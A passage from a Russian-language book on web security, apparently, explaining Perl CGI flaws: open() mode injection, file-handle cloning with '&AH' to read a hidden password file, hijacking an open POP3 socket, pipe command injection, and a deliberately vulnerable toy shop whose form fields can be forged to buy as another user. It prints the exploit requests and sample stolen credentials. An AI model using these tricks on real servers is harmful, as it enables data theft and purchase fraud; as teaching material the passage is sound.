На самом же деле, конструкция типа “»filename” способна уничтожить содержимое файла “filename”, что никак не входит в планы разработчика скрипта. Поэтому, рекомендуется явно задавать режим открытия, закрывая лазейку злоумышленнику. Правильное открытие файла для последующего чтения из него должно выглядеть приблизительно так: “open(F,”«$file”)”. Но отсюда вовсе не следует, что конструкция “open(F, “»$file”)”, открывающая файл для записи, то же окажется правильной! Если переменной “$filename” присвоить значение “» file”, в результате получится “open(F, “» file”)” и файл окажется открыт для дозаписи, что в корне меняет дело. В некоторых случаях такой трюк позволяет обойти лимиты на ограничение объема и забить мусором все доступное дисковое пространство или закачать на сервер файл свыше допустимого размера.

Еще одна распространенная ошибка связана с особенностью обработки символа “-“. Будучи переданным в качестве имени файла, он трактуется как “STDIN” (стандартный ввод) при чтении и “STDOUT” (стандартный вывод) при записи.

При использовании стандартных скриптов рекомендуется изменять имена всех файлов, особенно содержащих секретную информацию. В совокупности с правильной фильтрацией ввода, отсекающей все попытки просмотра содержимого директории, это в значительной степени снижает вероятность успешной атаки.

Но злоумышленнику вовсе не обязательно знать имя файла. Достаточно воспользоваться… клонированием файловых манипуляторов! Такой прием продемонстрирован в примере, приведенном ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/cpyfh.pl”):

· #… · open( AH ,"«passwd"); · · #… · $file=$ARGV[0]; · if ($file =~ /passwd/) {die "Goodby, Hacker!\n";} · open( BH ,"«$file"); · while (« BH ») · { · print; ·}

Если владельцем (не разработчиком!) некой программы имя секретного файла (например, “passwd”) изменено до неузнаваемости, то вне зависимости от распространенности скрипта, злоумышленник, прежде чем сможет получить доступ к секретному файлу будет вынужден узнать его имя. Если нет возможности просмотреть исходный текст модифицированного скрипта, то для успешной атаки злоумышленнику потребуется не только получить доступ к хранящимся на сервере файлам, но и последовательно перебрать всех их один за другим, пока не встретится искомый.

Поэтому, при использовании общедоступных скриптов настоятельно рекомендуется изменять имена всех файлов, представляющих интерес для злоумышленника. Но в некоторых случаях такой прием оказывается бессилен предотвратить атаку, если разработчик допустит ошибку, в результате которой станет возможно клонирование файлового манипулятора, связанного с секретным файлом.

Например, в приведенном выше примере, секретный файл открывается в одной ветке программы, а где-то совершенно в другом месте присутствует код, выводящий на экран содержимое файла, указанного пользователем. Для предотвращения атаки выполняется проверка введенной пользователем строки на соответствие с именем секретного файла, и если злоумышленник решит действовать «в лоб», ничего не получится:

· GET /cgi-bin/cpyfh.pl?passwd

· Goodby, Hacker!

Однако если вместо имени файла ввести конструкцию “ amp;AH”, на экране появится содержимое секретного файла, что и продемонстрировано в примере, приведенном ниже:

· GET /cgi-bin/cpyfh.pl? amp;AH

· Vasia:qwerty

· Petja:admin

· Super:toyta

· Dimon:daemon

Вызов наподобие “open(F1,”x amp;F2”) , приводит к клонированию файлового манипулятора F2 в F1. Если переменной “$file” присвоить значение “ amp;AH”, то вызов “open (BH, “«$file”)” копирует файловый манипулятор AH в BH, а конструкция “while «BH»” становится равносильна “while «AH»” и читает содержимое секретного файла, имя которого злоумышленнику знать совершенно необязательно.

Врезка «замечание»

Иногда выгоднее использовать псевдонимы (alias), создаваемые с помощью конструкции ‘x amp;=’. При этом оригинальный файловый манипулятор на момент создания псевдонима может и не существовать.

Если в приведенной программе переставить строки, что бы она выглядела вот так, - попытка клонирования ни к чему не приведет, но псевдонимы будут по-прежнему работать.

$file=$ARGV[0];

if ($file =~ /passwd/) {die "Goodby, Hacker!\n";}

#…

open(BH,"«$file");

#…

open(AH,"«passwd");

#…

while («BH»)

{

print;

}

Поскольку сокеты с точки зрения подсистемы ввода-вывода - обычные файлы, корректно работающие с операторами ‘print’ и ‘«»’, возможна подмена файлового манипулятора открытым сокетом и, соответственно, наоборот.

Если скрипт устанавливает соединение с некоторым сервером (совершенно неважно, с каким именно, и по какому протоколу) и позволяет пользователю вместо имени файла задать манипулятор , у злоумышленника появляется возможность взаимодействия с этим сервером!

Пример, приведенный ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/exchsc.pl”), демонстрирует ошибку, приводящую к перехвату трафика:

· socket(POP3, PF_INET(), SOCK_STREAM(), getprotobyname("tcp"));

· connect(POP3, sockaddr_in(110,inet_aton('zmail.ru')))

· $file=$ARGV[0];

· $x=«$file»;

· print $x;

· close(POP3);

· GET /cgi-bin/exchsc.pl?POP3

· +OK CommuniGate Pro POP3 Server 3.2.4 ready «[email protected]»

Приложения, имеющие такую уязвимость, способны выполнять запросы злоумышленника от имени сервера, на котором они расположены. Это может использоваться, например, для массовой почтовой рассылки.

Конечно, атакующий будет очень ограничен в своих возможностях. Стесненный уже существующим соединением с конкретным сервером по заданному протоколу он, скорее всего, не сможет причинить значительного ущерба. Наибольшая опасность заключается в том, что постороннее лицо способно получить доступ к секретным каналам связи, доступ к которым при нормальном ходе вещей был бы невозможен. Особенно это актуально для систем электронной коммерции, - если злоумышленнику удастся перехватить соединение с клиентом, он сможет «подсмотреть» номер кредитной карточки вместе с другими конфиденциальными данными, передаваемыми клиентом на сервер и даже исказить их!

Конечно, крупные on-line магазины, как правило, не содержат грубых ошибок. Но в сети огромное количество мелких поставщиков различного рода услуг, зачастую снабженных программным обеспечением, созданным «на коленках» Дядей Васей! Ошибки, описанные выше, очень характерны для кустарных разработок.

Врезка «информация»

Огромную опасность представляют недокументированные (или плохо документированные и малоизвестные) особенности интерпретаторов. И Perl в этом смысле не является исключением.

С его реализацией на платформе PC связан один громкий скандал. Фирма “Netscape” по некоторым причинам не поддержала в своем сервере ассоциации файловых расширений с исполняемыми приложениями. Вместо этого она предложила «волшебное» решение: вручную указывать требуемое приложение в самом URL. Так, например, вызвать “hello.pl” приходилось так: .

С первого взгляда ничем, кроме недовольного ворчания WEB-мастеров, это не чревато. Но уже беглое изучение документации по PC-версии Perl доказывает обратное. Особенность обработки командой строки приводит к тому, что на сервере может быть исполнена любая команда от имени интерпретатора. Достаточно воспользоваться конвейером, то есть конструкцией вида “| команда”.

Например, если набрать в командой строке “perl xxx|dir”, где ‘xxx’ имя любого, даже не обязательно существующего, скрипта, произойдет следующее: сперва, интерпретатором будет предпринята попытка запустить файл ‘xxx’, затем, независимо от успешности предыдущей операции, будет выполнена команда ‘dir’.

Врезка «замечание»

Выполнить любую команду Perl, например, ‘exec’ можно с помощью ключа командной строки, ‘-e’, о чем сообщается даже в короткой справке, выдаваемой при указании ключа ‘-h’ в командной строке.

Ниже приведен пример (на диске, прилагаемом к книге, он находится в файлах “/SRC/form.htm” и “/SRC/form.pl”) импровизированного виртуального магазина, занимающегося продажей товара через Internet c оплатой по кредитным карточкам. Перед первой покупкой посетителю (как это заведено в большинстве систем электронной торговли) необходимо зарегистрироваться - ввести свое имя и номер кредитной карты. Здесь не будет обсуждаться вопрос контроля достоверности представленной информации (это тема для отдельного разговора). Скрипт просто запоминает введенные сведения, и сверят всякий раз при загрузке.

· «HTML» · «HEAD» · «TITLE»VIRTUAL SHOP's "Hamburg"«/title» · «META charset=utf-8» · «/HEAD» · · «BODY» · «H1»«CENTER»VIRTUAL SHOP's "«U»Hamburg«/U»"«/CENTER» · «HR» · «/H1» · «CENTER» · «form method="POST" action="form.pl"» · «br»Name: · «BR» · «input type="text" size="30" maxlength="300" name="name" value="Vasia"» · «BR» · «br»Credit card number: · «BR» · «input type="text" size="30" maxlength="30" name="card" value="OC271191"» · «BR» · «BR» · «input type="submit" value="Welcome"» · «/form» · «/div» · «HR» · «/body» · · «/html» · · #!/usr/local/bin/perl · print "Content-type: text/html\n\n"; · print "«HEAD» «title»VIRTUAL SHOPs 'Hamburg'«/title»«/head»\n"; · print "«BODY» «H1»«CENTER»VIRTUAL SHOPs '«U»Hamburg«/U»'«/H1»«/CENTER»«HR»«BR»\n"; · · parseparameters(); · $Name=$parameters{'name'}; · $Card=$parameters{'card'}; · $Passwd="None"; · $file="users.dat"; · · open(F,"«$file") || die "File $file not exist!\n"; · · while($f=«F») · { · $tmp=«F»; · if ("$Name\n"=~$f) · { · if ($tmp!~$Card) · { · print "«CENTER»«H1»Wrong Card Number«/H1»«HR»"; · die; ·} · · $Passwd=$tmp; ·} ·} · · if ($Passwd=~/None/) · { · open(F,"»$file"); · print F "$Name\n"; · print F "$Card\n"; · close(F); · print "«B»New Buyer!«/B»«BR»\n"; ·} · · print «EOF; · Buyer:$Name · «BR» · Card:$Card · «TABLE width=100% border=1» · «TR» · «TH»Product ID · «TH»Product Name · «TH»Purchase · «TR» · «TD»Y2ZA · «TD»Mice · «TD»1 dollar · «TR» · «TD»ZG6T · «TD»Mice Pad · «TD»5 dollar · «TR» · «TD»3 FZ9Y · «TD»CD-ROM RACK · «TD»7 dollar · «/table» · «HR» · «CENTER» · «form method="POST" action="buy.pl"» · Product ID: · «input type="text" size="30" maxlength="30" name="$Name"; value="Y2ZA"» · «input type="submit" value="Buy"» · «/form» · EOF · · · · sub parseparameters(;$) { · local $_ = shift || $ENV{"REQUEST_METHOD"}; · my $buffer; · · $buffer = $ENV{"QUERY_STRING"} if (/^[Gg][Ee][Tt]$/); · read(STDIN, $buffer, $ENV{"CONTENT_LENGTH"}) if (/^[Pp][Oo][Ss][Tt]$/); · · @_ = split(/ amp;/, $buffer); · for (@_) { · tr/+/ /; · s/%(…)/pack("c",hex($1))/ge; · (my $key, my $value) = split(/=/, $_); · $parameters{lc($key)} = $value; ·} ·} ·

Если ввести имя пользователя и код кредитной карточки (например, “Kris Kaspersky; oc674-ui56”) и нажать кнопку “Welcome”, то сервер поприветствует нового покупателя и предложит ввести код товара для покупки. На первый взгляд все работает нормально…

Рисунок 025 Импровизированный виртуальный магазин

Для того чтобы совершить покупку от чужого имени требуется знать номер кредитной карточки, который известен только ее обладателю. Но в данном случае сервер хранит информацию обо всех посетивших его пользователях, и существует возможность «подсунуть» чужое имя взамен своего. Для изучения содержимого странички, необходимо выбрать в меню браузера пункт «Просмотри в виде HTML»

Рисунок 026 Просмотр содержимого странички в виде HTML

Появится следующий код, содержащий, по крайней мере, одну грубейшую ошибку, которая позволяет осуществлять покупки от имени чужих лиц.

· «TH»Product ID · «TH»Product Name · «TH»Purchase · «TR» · «TD»Y2ZA · «TD»Mice · «TD»1 dollar · «TR» · «TD»ZG6T · «TD»Mice Pad · «TD»5 dollar · «TR» · «TD»3 FZ9Y · «TD»CD-ROM RACK · «TD»7 dollar · «/table» · «HR» · «CENTER» · «form method="POST" action=" buy.pl "» · Product ID: · «input type="text" size="30" maxlength="30" · name="Fox"; value="Y2ZA"» · «input type="submit" value="Buy"» · «/form»

Алгоритм работы магазина в общих чертах следующий: при нажатии на кнопку «Buy» вызывается скрипт “buy.pl”, которому передаются два параметра - имя пользователя и код покупаемого товара. А номер кредитной карточки в передаваемых параметрах отсутствует. Очевидно, скрипт “buy.pl” самостоятельно извлекает его из базы, используя имя покупателя. Поскольку пользователь не может модифицировать файлы, хранящиеся на сервере, такая схема защиты на первый взгляд кажется вполне надежной. Но что мешает злоумышленнику сохранить страничку на свой локальный диск и, отредактировав по своему желанию, запустить ее оттуда?

Чтобы не нарушить работоспособности скрипта, необходимо все относительные ссылки заменить абсолютными, то есть с полным указанием протокола, имени узла и пути к файлу. Исправленный вариант может выглядеть так (на диске, прилагаемом к книге, он находится в файле “/SRC/form_hack.htm) :

·…

· «form method="POST"

· action="http://kpnc.softclub.net/cgi-bin/buy.pl"»

· Product ID:

· «input type="text" size="30" maxlength="30"

· name="John"; value="Y2ZA"»

·…

Если в базе сервера существует пользователь “John”, с его счета будет снята очередная сумма, поскольку разработчик виртуального магазина не предусмотрел защиту от модифицирования полей формы.

Аналогичного результата можно добиться и более простым путем. Достаточно лишь вызвать скрипт “buy.pl” следующим образом: “GET /cgi-bin/buy.pl?Jhon=Y2ZA”, где “Y2ZA” - код товара.